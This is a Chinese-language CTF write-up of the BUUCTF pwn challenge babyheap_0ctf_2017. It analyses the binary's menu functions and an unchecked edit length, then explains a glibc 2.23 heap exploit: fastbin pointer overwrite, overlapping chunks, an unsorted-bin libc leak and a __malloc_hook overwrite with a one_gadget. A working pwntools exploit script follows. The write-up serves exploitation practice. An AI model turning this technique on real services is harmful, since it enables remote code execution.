[BUUCTF]PWN——babyheap_0ctf_2017

首先查看保护

557822afedec40a936b1ccdafd9fe8ce.png

全开是吧!!!

放神的武器ida里面看看

main函数一眼,菜单题

5230ec33334c28d704b55ebdc232fb8f.png

add函数就很正常,调用calloc函数来申请堆块。(calloc函数和malloc函数的区别就是是否进行初始化,虽然calloc初始化看着更安全点,但是性能特别慢,而且在实际环境中好多变量都不需要进行初始化)

762cd5e36728edefadd54c99357b2654.png

edit函数,发现一个问题就是size没有做限制,但有个loophole函数

f8639f0301459ad82bf6e50b00023e57.png

好吧,就是正常的读

3bb28a0228f1eca04e80c9cde43bc63c.png

delete函数,很标准,没有uaf。

53c904a44c237cdaa026a029e3f57ac7.png

show函数也很正常

b8a45a519af11fb31ed058a0eb74a411.png

很正常的输出

f8639f0301459ad82bf6e50b00023e57.png

利用点

分析完,有那个无线长度编辑。

分析exp

申请5个chunk,在free掉chunk_1,chunk_2。在修改chunk_2的fd指针的低两字节的值为0x80,将其修改为chunk_4的地址,在修改chunk_4的size位为0x21。

b523610d56a3295b5c3e05d3baeae585.png

50315c790ba99b46f8f72f37490c146a.png

此时查看fastbins,此时fastbins里面有两个chunk,一个是chunk_4,一个是chunk_2

3a0c60cbced8ca6c16c91223aae8c598.png

在申请回来两个chunk,利用fastbins后进先出。现在chunk_4和chunk_2堆重叠了。

6ecaf84124c019d6ddfe460f36e27025.png

在恢复chunk_4的size大小,再申请一小块内存,防止你后面delete chunk_4的时候其与top chunk合并

90dae465ef57556d97a7235da0039194.png

现在delete chunk_4,其会进入到unsortbins里面,接下来就是套路了。

76100a7ca52f734243be622dc08a5717.png

泄露main_arena后面进而得到libc_base的值,后面malloc_hook那里找到一块0x7f的内存,来供我申请chunk。该怎么找呢?可以看我的另一篇文章(刚写完,哈哈哈哈哈)。在这里不赘述了。

3f5541b4e72311951ddbcaa4d6da5512.png

找申请的chunk位置,fakechunk。最后再利用我们的fastbins的手法,申请回来chunk_4的内存,但不要全部申请完,因为如果我直接申请一个0x80,后面delete的时候它会进入到unsortbins里面,不好利用。

0d76a8c8747cc16bc036376e27334a66.png

因为chunk_2和chunk_4重叠,所以我可以修改这个free的chunk_4的内容,将其fd指针改成我的fake_chunk的位置

aabd2aed0077f51a6326151e96d17f0e.png

最后就是申请到我们的fake_chunk的内容,进而修改,malloc_hook为one_gadget的值。

小白肯定好奇为啥,用的是calloc为啥修改malloc,因为调用calloc会使用到malloc。还有疑惑这个

48b63d8595a19fe96d58cc5a19667504.png怎么得到的呢。你看看上一张图哪个后面-0x1b。你这个offset就是0x1b-0x8。

ba05438be2f3f04a8ca83c1c24c406bc.png

getshell

754c9bf197db17ed97a24555cca3b767.png

exp
def exp():
    
    libc = ELF("/home/da1sy/environment/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
    # libc = ELF("/home/da1sy/environment/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")
    # libc = ELF("/home/da1sy/environment/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.23.so")
    # libc = ELF("/home/da1sy/environment/glibc-all-in-one/libs/2.27-3ubuntu1.5_i386/libc-2.23.so")

    def add(size):
        io.recvuntil("Command:")
        io.sendline('1')
        io.recvuntil("Size:")
        io.sendline(str(size))
        # io.recvuntil("\n")
        # io.sendline(name)
        # io.recvuntil("\n")
        # io.sendline(content)

    def edit(index,content):
        io.recvuntil(b"Command:")
        io.sendline('2')
        io.recvuntil('Index:')
        io.sendline(str(index))
        io.recvuntil('Size:')
        io.sendline(str(len(content)))
        io.recvuntil('Content:')
        io.send(content)
        

    def show(index):
        io.recvuntil("Command:")
        io.sendline('4')
        io.recvuntil('Index:')
        io.sendline(str(index))

    def delete(index):
        io.recvuntil("Command:")
        io.sendline('3')
        io.recvuntil("Index:")
        io.sendline(str(index))

    add(0x10)#0
    add(0x10)#1
    add(0x10)#2
    add(0x10)#3
    add(0x80)#4
    
    delete(1)
    delete(2)

    padding = p64(0)*3 + p64(0x21)
    payload = padding*2 + p8(0x80)

    edit(0,payload)
    edit(3,padding)

    add(0x10)#1 这个把原来chunk_2申请回来了
    add(0x10)#2 这个chunk其实和4号重叠了

    payload = p64(0)*3 + p64(0x91)
    edit(3,payload)# 恢复chunk_4的size大小

    add(0x20)# 5防止其与topchunk合并的
    
    delete(4)#chunk被放到了unsortbins里面

    show(2)

    unsortbins_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    log.info(f'unsortbins_addr = {hex(unsortbins_addr)}')

    main_arena = unsortbins_addr - 0x58
    log.info(f'main_arena = {hex(main_arena)}')

    malloc_hook = main_arena - 0x10
    libc_base = malloc_hook - libc.sym['__malloc_hook']
    log.info(f'libc_base = {hex(libc_base)}')

    payload = p64(main_arena - 0x18 - 0x1b)
    log.info(f'fake_chunk = {hex(main_arena - 0x18 - 0x1b)}')

    add(0x60)#4 申请不可以大于0x80,防止你后面chunk4进入到unsortbins里面
    delete(4)# 这一步申请回来主要是为了让chunk4进入到fastbins里面
    
    payload = p64(main_arena - 0x18 - 0x1b)
    edit(2,payload)

    add(0x60)#5 将上一步申请的chunk给得到
    add(0x60)#6 得到我们的fake chunk

    payload = p8(0)*3 + p64(0) * 2 + p64(libc_base + 0x4526a)
    log.info(f'one_gadget = {hex(libc_base + 0x4526a)}')
    edit(6,payload)

    add(0x10)

    gdb()
exp()   

io.interactive()

点击并拖拽以移动